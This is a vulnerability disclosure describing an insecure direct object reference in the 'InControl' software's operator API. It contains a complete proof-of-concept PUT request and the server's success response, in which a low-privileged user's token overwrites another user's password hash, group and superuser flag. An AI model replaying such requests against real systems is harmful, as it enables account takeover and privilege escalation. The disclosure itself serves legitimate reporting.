| الوصف | There is a very problematic IDOR in the InControl software. A low privileged user of id 4 (check JWT), can update all properties (ncluding the password) of others users, such as user 3, as we can see in the request. This vulnerability have a series of issues, such as Account Take Over, Elevation of Privileges, Unavailability of System etc.
PUT /v1/operador/3 HTTP/1.1
Host: localhost:4441
Content-Length: 850
Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0LCJ1c2VybmFtZSI6InBlbnRlc3RlciIsImV4cCI6MTc1MDI5NTIyNywiZW1haWwiOiIiLCJpc19hY3RpdmUiOnRydWUsImlzX3N1cGVydXNlciI6ZmFsc2UsInBlc3NvYSI6eyJub21lIjoicGVudGVzdGVyIn0sInBlcm1pc3Npb25zIjp7InZpc2l0YW50ZSI6eyJ2aXNpdGFudGUiOnsiaWRfcGVybWlzc2FvX2FkZCI6MTMzLCJpZF9wZXJtaXNzYW9fY2hhbmdlIjoxMzQsImlkX3Blcm1pc3Nhb19kZWxldGUiOjEzNSwiaWRfcGVybWlzc2FvX3ZpZXciOjEzNn19fX0.Gady04763SMCI0L1kOroIo4JQOCi-9fQpB0__mns6_Q
Accept-Language: pt-BR,pt;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://localhost:4445
Referer: https://localhost:4445/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"id":3,"pessoa":{"id":5,"nome_completo":"arnaldo","email":"[email protected]","telefone_celular":null,"telefone_residencial":null,"grupo":null,"imagem":null,"empresa":null,"tem_pendencias":false},"user":{"id":3,"username":"cesara","password":"pbkdf2_sha256$150000$sgWi9Jlst7dj$/3ZnZAgXCpPnBnaDYBH3s9Q/JdUDJWjqjHvX85rIRag=","groups":{"id":4,"name":"Visitante","permissions":[{"id":133,"codename":"add_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":134,"codename":"change_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":135,"codename":"delete_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":136,"codename":"view_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}}]},"is_active":true,"is_superuser":true}}
----------------------------------------------------
HTTP/1.1 200 OK
Date: Wed, 18 Jun 2025 17:18:39 GMT
Server: Apache/2.4.62 (Win32) OpenSSL/3.1.6 mod_wsgi/4.7.1 Python/3.7
Vary: Accept,Origin,Cookie
Allow: GET, PUT, DELETE, HEAD, OPTIONS
Content-Length: 912
Access-Control-Allow-Origin: *
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"message":"Objeto atualizado com sucesso","data":{"id":3,"pessoa":{"id":5,"nome_completo":"arnaldo","email":"[email protected]","telefone_celular":null,"telefone_residencial":null,"grupo":null,"imagem":null,"empresa":null,"tem_pendencias":false},"user":{"id":3,"username":"cesara","password":"pbkdf2_sha256$150000$sgWi9Jlst7dj$/3ZnZAgXCpPnBnaDYBH3s9Q/JdUDJWjqjHvX85rIRag=","groups":{"id":4,"name":"Visitante","permissions":[{"id":133,"codename":"add_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":134,"codename":"change_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":135,"codename":"delete_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}},{"id":136,"codename":"view_visitante","content_type":{"id":34,"app_label":"visitante","model":"visitante"}}]},"is_active":true,"is_superuser":true},"erros":{}}}
-------------------------------------
As we can see in the response, the id 3 user was downgraded to Visitante. |
|---|